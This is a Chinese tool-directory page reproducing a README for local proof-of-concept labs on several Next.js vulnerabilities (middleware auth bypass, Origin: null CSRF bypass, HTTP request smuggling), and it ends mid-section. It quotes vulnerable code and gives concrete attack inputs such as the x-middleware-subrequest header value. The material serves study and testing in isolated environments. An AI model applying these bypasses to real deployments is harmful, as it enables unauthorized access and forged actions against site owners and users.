Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Next.js-Proof-of-Concept — 一些针对Next.js中CVE-2025-29927、CVE-2026-27978和CVE-2026-29057的概念验证(POC)。 | Kitploit
工具/GitHubGitHub/nayekah/next.js-proof-of-concept
漏洞分析漏洞利用Web应用程序漏洞利用Web安全学习与教育实验室与实践
GitHubnayekah/next.js-proof-of-concept

Next.js-Proof-of-Concept

一些针对Next.js中CVE-2025-29927、CVE-2026-27978和CVE-2026-29057的概念验证(POC)。

查看仓库
15个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Next.js CVE 概念验证

本仓库包含三个 Next.js 漏洞的可复现概念验证环境。每个 PoC 包含一个存在漏洞的目标、一个已修复的目标,以及一个演示两者行为差异的脚本。

本项目的目标是让每个问题的根本原因和实际影响在最小环境中易于观察。

包含的漏洞

CVE安全公告影响受影响版本修复版本
CVE-2025-29927GHSA-f82v-jwr5-mffw当访问控制仅依赖中间件时,授权绕过15.2.215.2.3
CVE-2026-27978GHSA-mq59-m269-xvcxOrigin: null 绕过 Server Actions 的 CSRF 检查16.1.616.1.7
CVE-2026-29057GHSA-ggv3-7p47-pfv8通过重写到外部后端的 HTTP 请求走私15.5.1215.5.13
NEXT-16.2.4-IMAGE-REDIRECT本地源码审计发现图片优化器通过重定向绕过远程白名单16.2.4未验证
NEXT-16.2.4-IMAGE-LOCAL-REWRITE本地源码审计发现图片优化器本地 URL 可通过外部重写访问私有上游16.2.4未验证

发布提交与修复提交

以下哈希来自上游 vercel/next.js。

CVE受影响版本发布提交修复版本发布提交相关补丁提交
CVE-2025-29927v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b52a078da3884efe6501613c7834a3d02a91676d2
CVE-2026-27978v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076ev16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8
CVE-2026-29057v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6

仓库结构

.
|- docker-compose.yml
|- pocs/
|  |- cve-2025-29927/
|  |- cve-2026-27978/
|  |- cve-2026-29057/
|  |- next-16.2.4-image-redirect-allowlist-bypass/
|  `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
   |- run-cve-2025-29927.mjs
   |- run-cve-2026-27978.mjs
   |- run-cve-2026-29057.mjs
   |- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
   `- run-next-16.2.4-image-local-rewrite-ssrf.mjs

前提条件

  1. 安装 Docker Desktop 或 Docker Engine。
  2. 确保 docker compose 可用。
  3. 在仓库根目录下运行命令。

启动所有服务

docker compose up --build

暴露的端口:

  • 3001 -> CVE-2025-29927 存在漏洞
  • 3002 -> CVE-2025-29927 已修复
  • 3003 -> CVE-2026-27978 存在漏洞
  • 3004 -> CVE-2026-27978 已修复
  • 3005 -> CVE-2026-29057 存在漏洞
  • 3006 -> CVE-2026-29057 已修复
  • 3007 -> NEXT-16.2.4-IMAGE-REDIRECT
  • 3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITE

复现 1: CVE-2025-29927

存在漏洞的代码路径

在此 PoC 中,/dashboard 仅由中间件保护:

export function middleware(request) {
  const session = request.cookies.get('session')?.value

  if (session !== 'admin') {
    return NextResponse.redirect(new URL('/login', request.url))
  }

  return NextResponse.next()
}

授权检查本身并无错误。问题在于路由完全依赖于中间件执行不可跳过的假设。

在受影响的 Next.js 版本中,外部请求仍然可以提供内部头部 x-middleware-subrequest,而运行时将该值视为受信任的中间件元数据。相关的漏洞逻辑如下:

const INTERNAL_HEADERS = [
  'x-middleware-rewrite',
  'x-middleware-redirect',
  'x-middleware-set-cookie',
  'x-middleware-skip',
  'x-middleware-override-headers',
  'x-middleware-next',
  'x-now-route-matches',
  'x-matched-path',
]

export const filterInternalHeaders = (headers) => {
  for (const header in headers) {
    if (INTERNAL_HEADERS.includes(header)) {
      delete headers[header]
    }
  }
}

x-middleware-subrequest 并未被过滤,因此攻击者控制的输入可以到达中间件运行时。该值随后被用于推导递归深度:

const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []

const depth = subrequests.reduce(
  (acc, curr) => (curr === params.name ? acc + 1 : acc),
  0
)

if (depth >= MAX_RECURSION_DEPTH) {
  return {
    response: new Response(null, {
      headers: {
        'x-middleware-next': '1',
      },
    }),
  }
}

如果攻击者发送 middleware:middleware:middleware:middleware:middleware,运行时可能认为递归深度已达到,并将请求转发而不执行应用中间件。

运行

docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002

预期行为:

  • 3001 在没有利用头部时返回重定向,但使用 x-middleware-subrequest 时返回 200 OK。
  • 3002 继续重定向到 /login,因为内部头部不再受外部输入信任。

复现 2: CVE-2026-27978

存在漏洞的代码路径

此 PoC 暴露了一个改变服务端状态的普通 Server Action:

'use server'

import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'

export async function transferFunds(formData) {
  const cookieStore = await cookies()
  const session = cookieStore.get('session')?.value

  if (!session) {
    throw new Error('Victim session cookie is missing.')
  }

  const amount = Number(formData.get('amount') || '0')
  recordTransfer(session, amount)
  revalidatePath('/')
}

问题不在于 transferFunds() 本身。漏洞行为出现在 Next.js 对 Server Actions 的 CSRF 验证中。在受影响版本中,Origin: null 被当作缺失的 origin 处理,而非明确的 opaque origin:

const originHeader = req.headers['origin']
const originDomain =
  typeof originHeader === 'string' && originHeader !== 'null'
    ? new URL(originHeader).host
    : undefined

const host = parseHostHeader(req.headers)

if (!originDomain) {
  warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
  if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
    // Ignore it
  } else {
    const error = new Error('Invalid Server Actions request.')
    // ...
  }
}

因为 'null' 变成了 undefined,来自 opaque origin(例如沙箱 iframe)的请求可以绕过 host/origin 比较路径,仍然携带受害者 cookie 进行处理。

运行

docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004

预期行为:

  • 脚本以受害者身份登录,从页面提取生成的 Server Action 字段,并携带 Origin: null 提交。
  • 在存在漏洞的目标上,转账状态发生变化。
  • 在已修复的目标上,请求失败,状态保持不变。

复现 3: CVE-2026-29057

存在漏洞的代码路径

此 PoC 将 /rewrites/:path* 重写到外部后端:

/** @type {import('next').NextConfig} */
const nextConfig = {
  async rewrites() {
    return [
      {
        source: '/rewrites/:path*',
        destination: 'http://127.0.0.1:4000/rewrites/:path*',
      },
    ]
  },
}

module.exports = nextConfig

漏洞行为出现在 Next.js 用于重写的 vendored http-proxy 依赖中。在受影响版本中,针对 DELETE 和 OPTIONS 请求的代理逻辑可能添加 content-length: 0 并删除 transfer-encoding:

deleteLength: function deleteLength(req, res, options) {
  if (
    (req.method === 'DELETE' || req.method === 'OPTIONS') &&
    !req.headers['content-length']
  ) {
    req.headers['content-length'] = '0'
    delete req.headers['transfer-encoding']
  }
},

当精心构造的分块请求被转发时,这导致了代理链和后端之间的请求边界不一致。结果,第二个请求可能通过同一连接被走私到后端。

运行

docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006

预期行为:

  • 脚本重置观察到的状态,然后发送一个原始的 DELETE /rewrites/poc 分块请求,其中包含一个被走私的 GET /secret。
  • 在存在漏洞的目标上,后端记录 DELETE /rewrites/poc 和 GET /secret。
  • 在已修复的目标上,后端仅记录第一个重写后的请求。

观察到的示例输出:

$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.

$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.

复现 4: NEXT-16.2.4-IMAGE-REDIRECT

存在漏洞的代码路径

本地 next.js-16.2.4 源码仅对 ImageOptimizerCache.validateParams() 中的原始 url 参数验证 images.remotePatterns:

if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
  return { errorMessage: '"url" parameter is not allowed' }
}

随后网络获取路径在 fetchExternalImage() 中递归跟随重定向:

下载工具